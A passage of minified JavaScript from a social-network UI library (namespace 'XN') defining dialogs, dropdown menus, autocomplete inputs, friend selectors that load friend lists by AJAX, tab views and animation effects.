var _290=this._buttons;
for(var i=_290.length-1;i>=0;i--){
if(_290[i].text==text){
return _290[i];
}
}
return null;
},addButton:function(b){
var o={text:b.text,_onclickForDialog:b.onclick};
if(b.className){
o.className=b.className;
}
var _294=new XN.ui.button(o);
_294.frame.setAttribute("dialog","1");
this._buttons.push(_294);
this.footer.addChild(_294);
return this;
},delButton:function(b){
if(isString(b)){
b=this.getButton(b);
}
this.footer.delChild(b);
return this;
},_preventHide:false,preventHide:function(){
this._preventHide=true;
return this;
},setAutoHide:function(boo){
this._preventHide=!boo;
return this;
},_parseButtonEvent:function(e){
var el=_288.element(e);
if(el.tagName.toLowerCase()!=="input"||el.type!=="button"){
return;
}
if(!el.getAttribute("dialog")){
return;
}
var _299=this.getButton(el.value);
if(_299&&_299._onclickForDialog){
_299._onclickForDialog.call(this);
}
if(this._preventHide){
this._preventHide=true;
}else{
this.hide();
}
},_hotKeyEvent:function(){
this.hide();
},setType:function(t){
if(t=="normal"){
this.frame.delClass("errorDialog");
}else{
if(t=="error"){
this.frame.addClass("errorDialog");
}
}
return this;
},setWidth:function(w){
if(!w){
return this;
}
if(w=="auto"){
this.frame.style.width="auto";
this.dialogContainer.style.height="";
this.dialogContainer.style.width="";
this.width=this.frame.offsetWidth;
}else{
this.width=w;
this.frame.style.width=w+"px";
this.dialogContainer.style.height="100%";
this.dialogContainer.style.width="100%";
}
this.refresh();
return this;
},setHeight:function(h){
if(!h){
return this;
}
this.hegith=h;
this.frame.style.height=h+"px";
this.refresh();
return this;
},resizeTo:function(w,h){
this.setWidth(w);
this.setHeight(h);
return this;
},clear:function(){
this.header.setContent("");
this.body.setContent("");
this.footer.setContent("");
this._buttons=[];
return this;
},setTitle:function(s){
this.header.setContent(s);
return this;
},setBody:function(s){
this.body.setContent(s);
return this;
},remove:function(){
XN.util.hotKey.del("27",this._hotKeyEvent);
XN.ui.element.remove.call(this);
return this;
},refresh:function(){
if(this.visible()){
_287.show.apply(this,arguments);
}else{
this.hide();
}
return this;
},show:function(){
this._clearHideTimer();
_287.show.apply(this,arguments);
this.fireEvent("show");
return this;
},hide:function(){
this._clearHideTimer();
_287.hide.apply(this,arguments);
XN.dom.enable();
this.fireEvent("hide");
return this;
},_hideTimer:null,_clearHideTimer:function(){
if(this._hideTimer){
clearTimeout(this._hideTimer);
this._hideTimer=null;
}
},autoHide:function(t){
var This=this;
this._hideTimer=setTimeout(function(){
This.hide();
},t*1000);
return this;
}});
XN.event.enableCustomEvent(XN.ui.dialog.prototype);
})();
XN.ui.panel=XN.ui.dialog;
XN.ui.dialog.prototype.setHeader=function(h){
if(h&&h!==""){
this.header.addChild(h);
}else{
this.header.innerHTML="";
}
};
XN.ui.dialog.prototype.setFooter=function(f){
if(f&&f!==""){
this.footer.addChild(f);
}else{
this.footer.innerHTML="";
}
};
XN.ui.menu=function(_2a5){
var This=this;
this.config={alignType:"4-1",barOnshowClass:"",tagName:"div",disalbeButtonClickEvent:true,fireOn:"click",keep:0.2,useIframeInIE6:true,effectTime:50};
$extend(this.config,_2a5);
var _2a7;
if(this.getConfig("text")){
this.frame=_2a7=$element(this.getConfig("tagName"));
_2a7.setContent(this.getConfig("text"));
}else{
if(this.getConfig("button")){
this.frame=_2a7=$(this.getConfig("button"));
}else{
return false;
}
}
this._alignType=this.getConfig("alignType");
if(this.getConfig("menu")){
$(this.getConfig("menu")).hide();
this.menu=new XN.ui.fixPositionElement({id:this.getConfig("menu"),alignType:this._alignType,alignWith:this.getConfig("alignWith")||this.frame,addIframe:this.getConfig("addIframe"),useIframeInIE6:this.getConfig("useIframeInIE6")});
this.container=this.menu.frame;
this._canAddSubMenu=false;
}else{
var dt=$element("div");
dt.hide();
this.menu=new XN.ui.fixPositionElement({id:dt,alignType:this._alignType,alignWith:this.getConfig("alignWith")||this.frame,addIframe:this.getConfig("addIframe"),useIframeInIE6:this.getConfig("useIframeInIE6")});
this.container=$element("div");
this._menu.setContent(this.container);
}
this.menu.setIndex(10001);
XN.event.addEvent(this.menu.frame,"click",function(e){
e=e||window.event;
This._frameOnClick(e);
},false);
this.menu.setOffsetX(this.getConfig("offsetX")||0);
this.menu.setOffsetY(this.getConfig("offsetY")||0);
var _2aa=this.getConfig("event");
if(_2aa=="click"){
XN.event.addEvent(this.frame,"click",function(e){
This._buttonClick(e||window.event);
});
XN.event.addEvent(document,"click",function(e){
This._documentClick(e||window.event);
});
}else{
if(_2aa=="mouseover"){
XN.event.addEvent(this.frame,"mouseover",function(e){
This._frameMouseOver(e||window.event);
});
if(this.getConfig("disalbeButtonClickEvent")){
XN.event.addEvent(this.frame,"onclick",function(e){
XN.event.stop(e||window.event);
});
}
XN.event.addEvent(this.frame,"mouseleave",function(){
This._buttonMouseLeave();
});
XN.event.addEvent(this.menu.frame,"mouseleave",function(){
This._menuMouseLeave();
});
XN.event.addEvent(this.menu.frame,"mouseover",function(){
This._mouseOverMenu=true;
});
}else{
if(_2aa=="manual"){
}
}
}
XN.event.addEvent(window,"resize",function(){
This.menu.refresh();
});
this.hide();
};
XN.ui.menu.prototype=$extend({},XN.ui.container);
$extend(XN.ui.menu.prototype,{isShow:true,menu:null,_alignType:null,_button:null,_canAddSubMenu:true,_delayTimer:null,_mouseOverMenu:false,_mouseOverButton:false,_clearTimer:function(){
if(this._delayTimer){
clearTimeout(this._delayTimer);
this._delayTimer=null;
}
},_buttonClick:function(e){
XN.event.stop(e);
if(this.isShow){
this.hide();
}else{
this.show();
}
},_documentClick:function(e){
this.hide();
},_frameOnClick:function(e){
var This=this;
var el=XN.event.element(e);
var tag=el.tagName.toLowerCase();
if(tag=="a"){
return true;
}
if((tag=="input"&&(el.type=="radio"||el.type=="checkbox"))||tag=="label"){
this.isShow=false;
setTimeout(function(){
This.isShow=true;
},20);
return true;
}
while(el!=this.menu.frame&&el.tagName&&el.tagName.toLowerCase()!="a"){
el=el.parentNode;
}
if(el.tagName.toLowerCase()=="a"){
return true;
}
XN.event.stop(e);
},_frameMouseOver:function(e){
var This=this;
this._mouseOverButton=true;
this._clearTimer();
var _2b7=this.getConfig("delay");
if(_2b7){
this._delayTimer=setTimeout(function(){
if(This._mouseOverButton){
This.show();
}
},_2b7*1000);
}else{
This.show();
}
XN.event.stop(e);
},_buttonMouseLeave:function(){
var This=this;
this._mouseOverButton=false;
this._clearTimer();
setTimeout(function(){
if(!This._mouseOverMenu){
This.hide();
}
},this.getConfig("effectTime"));
},_menuMouseLeave:function(){
var This=this;
this._mouseOverMenu=false;
this._clearTimer();
setTimeout(function(){
if(!This._mouseOverButton){
This.hide();
}
},this.getConfig("effectTime"));
},getConfig:function(key){
var _2bb={"hoverClass":"barOnshowClass","event":"fireOn","button":"bar","delay":"keep"};
if(_2bb[key]){
return this.config[key]||this.config[_2bb[key]];
}
return this.config[key];
},show:function(){
if(this.isShow){
return this;
}
this.menu.show();
this.frame.addClass(this.getConfig("hoverClass"));
this.onShow();
this.isShow=true;
return this;
},setWidth:function(w){
this.menu.frame.style.width=w+"px";
this.menu.refresh();
return this;
},hide:function(){
if(!this.isShow){
return this;
}
this.menu.hide();
this.frame.delClass(this.getConfig("hoverClass"));
this.isShow=false;
this.onHide();
return this;
},refresh:function(){
if(this.isShow){
this.menu.show();
}
return this;
},onShow:XN.func.empty,onHide:XN.func.empty});
XN.event.enableCustomEvent(XN.ui.menu.prototype);
XN.ui.autoComplete=function(p){
var This=this;
this.config=this.config||{};
$extend(this.config,{inputTip:null,searchDelay:0.2,DS:null,enableCache:true,maxCache:10});
$extend(this.config,p);
if(this.getConfig("enableCache")){
this.cache=new XN.util.cache({cacheLength:this.getConfig("maxCache")});
}
if(this.getConfig("input")){
var _2bf=this.input=$(this.getConfig("input"));
}else{
var _2bf=this.input=$element("input");
_2bf.type="text";
_2bf.addClass("input-text");
}
this.frame=_2bf;
XN.event.addEvent(_2bf,"focus",function(e){
This._startCheck();
This.fireEvent("focus");
});
XN.event.addEvent(_2bf,"blur",function(e){
This._endCheck();
This.fireEvent("blur");
});
this.addEvent("focus",function(){
var v=this.input.value;
if(v==""||v==this.getConfig("inputTip")){
this.fireEvent("noinput");
}
});
this.addEvent("blur",function(){
this._lastInput=null;
});
XN.event.addEvent(_2bf,"click",function(e){
XN.event.stop(e||window.event);
});
XN.event.addEvent(_2bf,"keydown",function(e){
This._userInput=true;
e=e||window.event;
if(e.keyCode==13){
XN.event.stop(e);
}
This.fireEvent("keydown",e);
});
_2bf.setAttribute("AutoComplete","off");
this.DS=this.getConfig("DS");
};
XN.ui.autoComplete.prototype=$extend({},XN.ui.element);
$extend(XN.ui.autoComplete.prototype,{input:null,cache:null,_userInput:false,_lastInput:null,getConfig:function(key){
if(key=="input"){
return this.config["input"]||this.config["id"];
}
return this.config[key];
},_startCheck:function(){
var This=this;
this._inputTimer=setInterval(function(){
if(This._userInput){
This._userInput=false;
return;
}
This._checkInput();
},this.getConfig("searchDelay")*1000);
},_endCheck:function(){
clearInterval(this._inputTimer);
this._inputTimer=null;
},_checkInput:function(){
var This=this;
var cv=this.input.value;
if(XN.string.isBlank(cv)){
if(this._lastInput===""){
return;
}
this._lastInput="";
this.fireEvent("noinput");
return;
}
if(cv==this._lastInput){
return;
}
this._lastInput=cv;
this.fireEvent("searchbegin");
if(this.cache){
var _2c9=this.cache.get(cv);
if(_2c9){
this.fireEvent("searchover",_2c9);
return;
}
}
if(!this.DS){
XN.log("no ds");
this.fireEvent("NO_DS");
return;
}
this.DS.query(cv,function(r){
if(This.cache){
This.cache.add(cv,r);
}
This.fireEvent("searchover",r);
});
}});
XN.event.enableCustomEvent(XN.ui.autoComplete.prototype);
(function(){
var _2cb={};
getCompleteMenu=function(id){
return _2cb[id];
};
XN.ui.autoCompleteMenu=function(p){
var This=this;
this._MID=XN.util.createObjID();
_2cb[this._MID]=this;
this.config=this.config||{};
$extend(this.config,{ulClassName:"",liClassName:"",liHoverClass:"m-autosug-hover",aClassName:"",noResult:"\u6ca1\u6709\u5339\u914d\u7ed3\u679c",dataLoading:"\u6b63\u5728\u52a0\u8f7d\u6570\u636e...",noInput:null,autoSelectFirst:false});
XN.ui.autoComplete.call(this,p);
var _2cf=this.input;
var m=$element("div");
m.innerHTML=this.getConfig("wrapper")||this._wrapper();
this._menuList=m.firstChild;
this._ul=this._menuList.getElementsByTagName("ul")[0];
this.menu=new XN.ui.menu({button:_2cf,menu:this._menuList,fireOn:"manual"});
this.addEvent("keydown",this._inputOnkeydown);
XN.event.addEvent(this._ul,"mousedown",function(e){
This._menuOnclick(e||window.event);
});
XN.event.addEvent(_2cf,"blur",function(){
This.menu.hide();
});
this.menu.hide();
this.addEvent("noinput",function(){
var tip=this.getConfig("noInput");
if(!tip){
this.menu.hide();
return;
}
this._ul.innerHTML="<li>"+tip+"</li>";
this.menu.show();
});
this.addEvent("NO_DS",function(){
var tip=this.getConfig("dataLoading");
this._ul.innerHTML="<li>"+tip+"</li>";
this.menu.show();
});
this.addEvent("searchover",this._buildMenu);
};
XN.ui.autoCompleteMenu.prototype=$extend({},XN.ui.autoComplete.prototype);
$extend(XN.ui.autoCompleteMenu.prototype,{menu:null,_menuList:null,_ul:null,_currentLi:null,_highlightMenuItem:function(li){
if(li==this._currentLi){
return;
}
var _2d5=this.getConfig("liHoverClass");
if(this._currentLi!==null){
XN.element.delClass(this._currentLi,_2d5);
}
XN.element.addClass(li,_2d5);
this._currentLi=li;
var aid=this._currentLi.getAttribute("aid");
if(aid){
this.fireEvent("highlight",this.result[parseInt(aid)]);
}
},_inputOnkeydown:function(_2d7){
var li;
if(_2d7.keyCode==13){
if(this.menu.isShow&&this._currentLi){
var aid=this._currentLi.getAttribute("aid");
if(aid){
this._selectMenuItem(parseInt(aid));
}
}
return false;
}
if(_2d7.keyCode==38){
if(this._currentLi&&this._currentLi.previousSibling){
li=this._currentLi.previousSibling;
}else{
li=this._ul.lastChild;
}
this._highlightMenuItem(li);
return false;
}
if(_2d7.keyCode==40){
if(this._currentLi&&this._currentLi.nextSibling){
li=this._currentLi.nextSibling;
}else{
li=this._ul.firstChild;
}
this._highlightMenuItem(li);
return false;
}
return true;
},_menuOnclick:function(_2da){
var el=XN.event.element(_2da);
while(el&&el.tagName&&el.tagName.toLowerCase()!=="li"){
el=el.parentNode;
}
if(!el||el.nodeType!==1||!el.getAttribute("aid")){
return false;
}
this._selectMenuItem(parseInt(el.getAttribute("aid")));
return false;
},_menuOnmouseover:function(_2dc){
var el=XN.event.element(_2dc);
if(el.parentNode==$("dropmenuHolder")){
return;
}
while(el&&el.tagName&&el.tagName.toLowerCase()!=="li"){
el=el.parentNode;
}
if(!el||el.nodeType!==1||!el.getAttribute("aid")){
return false;
}
this._highlightMenuItem(el);
return false;
},_selectMenuItem:function(id){
this.menu.hide();
this.input.focus();
this.fireEvent("select",this.result[id]);
this._lastInput=this.input.value;
},_buildMenu:function(_2df){
var This=this;
this.result=_2df;
if(_2df.length==0){
var _2e1=this.getConfig("noResult");
if(isFunction(_2e1)){
_2e1=_2e1.call(this);
}
this._ul.innerHTML="<li>"+_2e1+"</li>";
this.menu.show();
this._currentLi=null;
return;
}
var lis=[];
lis.push(this.firstMenuItem());
var len=_2df.length-1;
XN.array.each(_2df,function(i,v){
lis.push("<li onmouseover=\"getCompleteMenu("+This._MID+")._highlightMenuItem(this);\" aid=\""+i+"\">"+This.buildMenu(v)+"</li>");
});
lis.push(this.lastMenuItem());
this._ul.innerHTML=lis.join("");
if(this.getConfig("autoSelectFirst")){
this._highlightMenuItem(this._ul.firstChild);
}
this.menu.show();
},firstMenuItem:function(){
return "";
},lastMenuItem:function(){
return "";
},buildMenu:function(r){
return "<li>"+r.name+"</li>";
},setMenuWidth:function(w){
this.menu.setWidth(w);
}});
XN.ui.autoCompleteMenu.prototype._wrapper=function(){
return ["<div class=\"m-autosug\">","<span class=\"x1\">","<span class=\"x1a\"></span>","</span>","<span class=\"x2\">","<span class=\"x2a\"></span>","</span>","<div class=\"m-autosug-minwidth\">","<div class=\"m-autosug-content\">","<ul></ul>","</div>","</div>","</div>"].join("");
};
})();
XN.ui.friendSelector=function(_2e8){
var This=this;
this.config=this.config||{};
$extend(this.config,{getFriendsUrl:"http://browse."+XN.env.domain+"/getfriendsajax.do?s=1",url:"http://browse."+XN.env.domain+"/friendsSelector.do",param:{}});
XN.ui.autoCompleteMenu.call(this,_2e8);
this.addEvent("select",function(r){
this.input.value=r.name;
if(this.onSelectOne){
this.onSelectOne(r);
}
});
this.buildMenu=function(r){
return r.name;
};
this.addEvent("focus",function(){
if(this._ready){
return;
}
if(this._isLoading){
return;
}
this.loadFriends();
});
};
XN.ui.friendSelector.prototype=$extend({},XN.ui.autoCompleteMenu.prototype);
$extend(XN.ui.friendSelector.prototype,{_isLoading:false,_ready:false,isReady:function(){
return this._ready;
},isLoading:function(){
return this._isLoading;
},loadFriends:function(r){
if(this.isLoading()){
return;
}
this._isLoading=true;
var This=this;
var p={};
p["init"]=true;
p["uid"]=false;
p["uhead"]=false;
p["uname"]=false;
p["group"]=false;
p["net"]=false;
p["param"]=this.getConfig("param");
new XN.NET.xmlhttp({useCache:true,url:this.getConfig("url"),method:"get",data:"p="+XN.JSON.build(p),onSuccess:function(r){
r=XN.JSON.parse(r.responseText);
This._onload(r);
}});
},_onload:function(r){
this.isLoading=false;
this._ready=true;
this.config.qkey=r.qkey;
this.DS=new XN.util.DS_friends({url:this.getConfig("url"),qkey:this.getConfig("qkey"),limit:this.getConfig("limit")});
}});
XN.ui.friendSelectorSynchronous=function(a,b){
function s(id,ac,v){
if(isObject(id)){
id=id.id;
}
if(v.isReady()){
try{
v[ac](id);
}
catch(e){
}
}else{
v.addEvent("load",function(){
try{
v[ac](id);
}
catch(e){
}
});
v.loadFriends();
}
}
a.addEvent("select",function(id){
s(id,"select",b);
});
a.addEvent("deselect",function(id){
s(id,"deselect",b);
});
b.addEvent("select",function(id){
s(id,"select",a);
});
b.addEvent("deselect",function(id){
s(id,"deselect",a);
});
};
(function(){
XN.ui.multiFriendSelector=function(_2fa){
var This=this;
this._ID=XN.util.createObjID();
this.config=this.config||{};
$extend(this.config,{inputName:"ids",nameInputName:"names",url:"http://browse."+XN.env.domain+"/friendsSelector.do",initParam:{},param:{},noInput:false,maxNum:-1});
$extend(this.config,_2fa);
this.frame=$element("div");
var div=$element("div");
div.hide();
document.body.appendChild(div);
div.appendChild(this.frame);
this.frame.innerHTML=["<div id=\""+this.getID("friendsContainer")+"\" class=\"tokenizer friendAutoSelector\">","<span class=\"tokenizer_stretcher\">^_^</span>","<span class=\"tab_stop\"><input/></span>","<span id=\""+this.getID("inputContainer")+"\" class=\"tokenizer_input\"><input id=\""+this.getID("input")+"\" type=\"text\" /></span>","</div>","<div class=\"float-right\" id=\""+this.getID("menu")+"\"></div>"].join("");
this.input=this.getEl("input");
this.menuContainer=this.getEl("menu");
XN.event.addEvent(this.getEl("friendsContainer"),"click",function(e){
This._parseClickEvent(e||window.event);
});
this.autoComplete=new XN.ui.friendSelector({id:this.input,inputTip:"\u8f93\u5165\u597d\u53cb\u59d3\u540d...",autoSelectFirst:true,url:this.getConfig("url"),param:this.getConfig("param")});
this.autoComplete.loadFriends=function(r){
if(this.isLoading()){
return;
}
this._isLoading=true;
var p={};
p["init"]=true;
p["uid"]=true;
p["uhead"]=false;
p["uname"]=true;
p["group"]=false;
p["net"]=false;
$extend(p,This.getConfig("initParam"));
p["param"]=this.getConfig("param");
new XN.NET.xmlhttp({useCache:true,url:this.getConfig("url"),method:"get",data:"p="+XN.JSON.build(p),onSuccess:function(r){
r=XN.JSON.parse(r.responseText);
This._allFriends=r.candidate;
This.fireEvent("load");
This.autoComplete._onload(r);
}});
};
this.autoComplete.buildMenu=function(r){
return "<p>"+r.name+"</p>";
};
this.autoComplete.setMenuWidth(129);
this.autoComplete.addEvent("keydown",function(e){
This._onInputKeydown(e);
});
this.autoComplete.addEvent("select",function(r){
XN.log(this.input);
this.input.value="";
This.selectFriend(r);
});
if(this.getConfig("noInput")){
this.input.hide();
}
this.fireEvent("init");
};
var _304=XN.ui.multiFriendSelector.prototype=$extend({},XN.ui.element);
$extend(_304,{isReady:function(){
return this.autoComplete.isReady();
},isLoading:function(){
return this.autoComplete.isLoading();
},loadFriends:function(){
this.autoComplete.loadFriends();
},getUserByID:function(id){
id=String(id);
var rt=null;
XN.array.each(this._allFriends,function(i,v){
if(String(v.id)==id){
rt=v;
return false;
}
});
return rt;
},getConfig:function(key){
if(key=="inputName"){
return this.config["idInputName"]||this.config["inputName"];
}
return this.config[key];
},getID:function(id){
return "mfs_"+this._ID+id;
},getFriendID:function(id){
return this.getID("friend_"+id);
},getFriendEl:function(id){
return $(this.getFriendID(id));
},getEl:function(id){
return $(this.getID(id));
},getFriendsNum:function(){
return this.getEl("friendsContainer").getElementsByTagName("a").length;
},getSelectedFriends:function(){
var rt=[];
var a=XN.array.build(this.getEl("friendsContainer").getElementsByTagName("a"));
XN.array.each(a,function(i,v){
rt.push(v.getAttribute("uid")+"");
});
return rt;
},reset:function(){
this.deselectAll();
},deselectAll:function(){
var els=XN.array.build(this.getEl("friendsContainer").getElementsByTagName("a"));
XN.array.each(els,function(i,v){
XN.element.remove(v);
});
this.fireEvent("deselectAll",this.getIds());
},selectFriends:function(fs){
var This=this;
XN.array.each(fs,function(i,v){
This.select(v);
});
},deselectFriends:function(fs){
var This=this;
XN.array.each(fs,function(i,v){
This.deselect(v);
});
},select:function(o){
if(isUndefined(o)){
return;
}
XN.log("mfs select:");
XN.log(o);
var _31e=this.getConfig("maxNum");
if(_31e!==-1){
if(this.getFriendsNum()==_31e){
this.fireEvent("overMaxNum",_31e);
return;
}
}
if(isString(o)||isNumber(o)){
o={id:o,name:this.getUserByID(o).name};
}
if(this.getFriendEl(o.id)){
return;
}
this.getEl("friendsContainer").insertBefore(this.createFriendHTML(o.id,o.name),this.getEl("inputContainer"));
this.fireEvent("select",o.id);
},deselect:function(uid){
if(!this.getFriendEl(uid)){
return;
}
this.getFriendEl(uid).remove();
this.fireEvent("deselect",uid);
},_parseClickEvent:function(e){
var el=XN.event.element(e);
XN.event.stop(e);
if(el&&el.getAttribute("action")){
this.deselectFriend(el.getAttribute("uid"));
}
},createFriendHTML:function(uid,_323){
var a=$element("a");
a.id=this.getFriendID(uid);
a.setAttribute("uid",uid);
a.href="#nogo";
a.className="token";
a.tabindex="-1";
a.innerHTML=["<span>\n<span>\n<span>\n<span>\n<input type=\"hidden\" value=\"",uid,"\" name=\"",this.getConfig("inputName"),"\" />\n","<input type=\"hidden\" value=\"",_323,"\" name=\"",this.getConfig("nameInputName"),"\" />\n",_323,"<span uid=\"",uid,"\" action=\"x\" class=\"x\" onmouseout=\"this.className='x'\" onmouseover=\"this.className='x_hover'\" >\n</span>\n</span>\n</span>\n</span>\n</span>"].join("");
return a;
},_onInputKeydown:function(_325){
var i=this.getEl("inputContainer"),pa=i.previousSibling,na=i.nextSibling,_329=this.input,c=this.getEl("friendsContainer");
if(_325.keyCode==8&&this.input.value==""){
if(pa){
this.deselectFriend(pa.getAttribute("uid"));
}
return true;
}else{
if(_325.keyCode==37&&this.input.value==""){
if(pa&&pa.tagName.toLowerCase()=="a"){
i.parentNode.removeChild(i);
c.insertBefore(i,pa);
setTimeout(function(){
_329.focus();
},0);
}
return true;
}else{
if(_325.keyCode==39&&this.input.value==""){
if(na&&na.tagName.toLowerCase()=="a"){
i.parentNode.removeChild(i);
XN.dom.insertAfter(i,na);
setTimeout(function(){
_329.focus();
},0);
}
return true;
}
}
}
return false;
}});
XN.event.enableCustomEvent(_304);
_304.deSelectAll=_304.deselectAll;
_304.deSelectFriend=_304.deselectFriend=_304.deselect;
_304.selectFriend=_304.select;
_304.getSelectedFriendsID=_304.getSelectedFriends;
_304.getIds=_304.getSelectedFriends;
})();
XN.ui.friendSelectorWithMenu=function(p){
var _32c=new XN.ui.friendSelector(p);
var menu=new XN.ui.friendSelectorMenu({url:_32c.getConfig("url"),param:_32c.getConfig("param"),multi:false,alignType:p.alignType,offsetX:p.offsetX,offsetY:p.offsetY});
var div=$element("div");
div.addChild(_32c);
div.addChild(menu);
_32c.frame=div;
_32c.addEvent("focus",function(){
menu.menu.hide();
});
menu.addEvent("select",function(p){
var This=this;
setTimeout(function(){
This.menu.hide();
},30);
_32c.fireEvent("select",this.getUserByID(p));
});
menu.menu.menu.setOffsetY(9);
return _32c;
};
XN.ui.multiFriendSelectorWithMenu=function(p){
var _332=new XN.ui.multiFriendSelector(p);
var menu=new XN.ui.friendSelectorMenu({url:_332.getConfig("url"),param:_332.getConfig("param"),multi:true});
menu.addEvent("submit",function(){
menu.menu.hide();
});
_332.menuContainer.setContent(menu);
XN.ui.friendSelectorSynchronous(_332,menu);
return _332;
};
(function(ns){
var _335=false;
var _336=XN.event.addEvent;
var log=function(s){
if(_335){
XN.log(isString(s)?"ui.tabView:"+s:s);
}
return s;
};
ns.tabView=function(_339){
this.config={selectedClass:"select",event:"click",alwaysReload:false,mouseOverDelay:0.2};
$extend(this.config,_339);
this.init();
};
ns.tabView.prototype={_tabs:null,_currentTab:null,_idPre:null,_tabIndex:0,init:function(){
this._idPre=XN.util.createObjID();
this._tabs=[];
},getConfig:function(key){
if(key=="activeClass"){
return this.config["activeClass"]||this.config["selectedClass"];
}
return this.config[key];
},_getID:function(el){
log("_getID start");
log("param:");
log(el);
if(isString(el)){
return log(el);
}
if(el.id){
return log(el.id);
}
log("do not have id");
this._tabIndex++;
el.setAttribute("id","tabview_"+this._idPre+"_"+this._tabIndex);
return log(el.id);
},_getTab:function(id){
log("_getTab start");
log("param:id");
log(id);
if(!id){
return log(id);
}
if(id.label){
return log(id);
}
var key=this._getID(id);
log("key:"+key);
var tabs=this._tabs;
log("all tabs");
log(tabs);
for(var i=tabs.length-1;i>=0;i--){
if(tabs[i].key==key){
log("_getTab end");
return log(tabs[i]);
}
}
log("_getTab end");
return log(null);
},getCurrentTab:function(){
return this._getTab(this._currentTab);
},setCurrentTab:function(tab,_341){
log("setCurrentTab start");
var oldC=this.getCurrentTab();
var nowC=this._getTab(tab);
log("old current:");
log(oldC);
log("now current:");
log(nowC);
if(oldC&&oldC.key==nowC.key&&!_341){
return;
}
if(oldC){
this._deactiveTab(oldC);
}
this._activeTab(nowC);
this._setCurrentTab(nowC);
log("setCurrentTab end");
this.fireEvent("change",nowC);
return this;
},reset:function(){
var tab=this.getCurrentTab();
if(tab){
this._deactiveTab(tab);
}
this._setCurrentTab(null);
return this;
},_activeTab:function(tab){
log("_activeTab:");
log(tab);
tab.getEl("label").addClass(this.getConfig("activeClass"));
if(tab.content){
tab.getEl("content").show();
}
tab.onActive(tab);
log("_activeTab end");
},_deactiveTab:function(tab){
if(tab.getEl("label")){
tab.getEl("label").delClass(this.getConfig("activeClass"));
}
if(tab.content){
tab.getEl("content").hide();
}
tab.onInactive(tab);
},_setCurrentTab:function(tab){
log("_setCurrentTab start");
tab=this._getTab(tab);
log("currentTab:");
log(tab);
this._currentTab=tab?tab.key:null;
log("this._currentTab");
log(this._currentTab);
log("_setCurrentTab end");
},addTab:function(t){
log("addTab start");
log("params:");
log(t);
var This=this;
var tab={onActive:XN.func.empty,onClick:XN.func.empty,onInactive:XN.func.empty,onInit:XN.func.empty,getEl:function(key){
return $(this[key]);
},active:false};
t.label=this._getID(t.label);
log("get label id:"+t.label);
t.key=t.key||t.label;
log("get key:"+t.key);
if(t.content){
t.content=this._getID(t.content);
log("get content id:"+t.content);
}
$extend(tab,t);
this._tabs.push(tab);
log("all tabs");
log(this._tabs);
if(tab.active&&this._currentTab===null){
if(tab.content){
tab.getEl("content").show();
}
tab.getEl("label").addClass(this.getConfig("activeClass"));
this._setCurrentTab(tab);
}else{
if(tab.content){
tab.getEl("content").hide();
}
}
var ev=this.getConfig("event");
if(ev=="click"){
_336(tab.getEl("label"),"click",function(e){
e=e||window.event;
XN.event.stop(e);
This._eventHander(e,tab.getEl("label"));
},false);
}else{
if(ev=="mouseover"){
var _34e=true;
var _34f=null;
_336(tab.getEl("label"),"mouseover",function(e){
var el=this;
_34e=true;
_34f=setTimeout(function(){
if(!_34e){
return;
}
e=e||window.event;
This._eventHander(e,tab.getEl("label"));
},This.getConfig("mouseOverDelay")*1000);
},false);
_336(tab.getEl("label"),"mouseleave",function(e){
_34e=false;
if(_34f){
clearTimeout(_34f);
}
},false);
}
}
tab.onInit(tab);
log("addTab end");
return this;
},_eventHander:function(e,el){
log("on click,el:");
log(el);
log("get tab form by el:");
var tab=this._getTab(el);
if(this.getConfig("alwaysReload")){
this.setCurrentTab(tab,true);
}else{
this.setCurrentTab(tab);
}
tab.onClick(e,tab);
},refresh:function(){
this._activeTab(this.getCurrentTab());
return this;
},showTab:function(id,_357){
this.setCurrentTab(id,_357);
},hideAll:function(){
this.reset();
}};
XN.event.enableCustomEvent(ns.tabView.prototype);
})(XN.ui);
XN.ui.refreshAll=function(){
document.body.style.zoom=1.1;
document.body.style.zoom=1;
};
XN.effect={fadeIn:function(_358,_359){
if(_358.fadetimer){
return;
}
_359=_359||XN.FUNC.empty;
var op=0;
_358.setOpacity(0);
_358.style.display="";
_358.fadetimer=setInterval(function(){
XN.Element.setOpacity(_358,(op+=0.2));
if(op>=1){
clearInterval(_358.fadetimer);
_358.fadetimer=null;
_359(_358);
}
},60);
},fadeOut:function(_35b,_35c){
if(_35b.fadetimer){
return;
}
_35c=_35c||XN.FUNC.empty;
var op=1;
_35b.setOpacity(1);
_35b.fadetimer=setInterval(function(){
XN.Element.setOpacity(_35b,(op-=0.2));
if(op<=0){
clearInterval(_35b.fadetimer);
_35b.fadetimer=null;
_35c(_35b);
_35b.setOpacity(1);
}
},60);
},gradient:function(_35e,r,g,b,_362){
if(_35e.gradientTimer){
return;
}
_362=_362||XN.FUNC.empty;
_35e.style.backgroundColor="#fff";
_35e.style.backgroundColor="rgb("+r+","+g+","+b+")";
_35e.gradientTimer=setInterval(function(){
b+=10;
_35e.style.backgroundColor="rgb("+r+","+g+","+(b>255?255:b)+")";
if(b>255){
clearInterval(_35e.gradientTimer);
_35e.gradientTimer=null;
_362(_35e);
}
},60);
},slideOpen:function(_363){
if(_363.slidetimer){
return;
}
if(!_363.slideHeight){
var _364=_363.getStyle("position");
_363.setStyle("position:absolute;left:-99999px;top:-99999px;");
_363.show();
_363.slideHeight=_363.offsetHeight;
_363.hide();
_363.setStyle("position:"+_364+";left:auto;top:auto;");
}
var eh=_363.slideHeight,h=0;
var step=parseInt(eh/10);
_363.style.height="0px";
_363.style.display="";
_363.style.overflow="hidden";
_363.slidetimer=setInterval(function(){
_363.style.height=(h+=step)+"px";
if(h>=eh){
clearInterval(_363.slidetimer);
_363.slidetimer=null;
_363.style.height=eh;
_363.style.overflow=_363.slideOverflow;
}
},50);
},slideClose:function(_368){
if(_368.slidetimer){
return;
}
var eh=_368.offsetHeight,h=eh;
_368.slideHeight=eh;
_368.slideOverflow=_368.getStyle("overflow");
_368.style.overflow="hidden";
var step=parseInt(eh/10);
_368.slidetimer=setInterval(function(){
_368.style.height=(h-=step)+"px";
if(h<=0){
clearInterval(_368.slidetimer);
_368.slidetimer=null;
_368.style.display="none";
_368.style.height=eh;
_368.style.overflow=_368.slideOverflow;
}
},50);
},scrollTo:function(_36c,_36d,_36e){
if(_36c.scrolltimer){
return;
}
_36d=_36d||10;
_36e=_36e||XN.FUNC.empty;
var d=_36c.realTop();
var i=XN.EVENT.winHeight();
var h=document.body.scrollHeight;
var a=XN.EVENT.scrollTop();
var _373=null;
if(d>a){
if(d+_36c.offsetHeight<i+a){
return;
}
_36c.scrolltimer=setInterval(function(){
a+=Math.ceil((d-a)/_36d)||1;
window.scrollTo(0,a);
if(a==d){
clearInterval(_36c.scrolltimer);
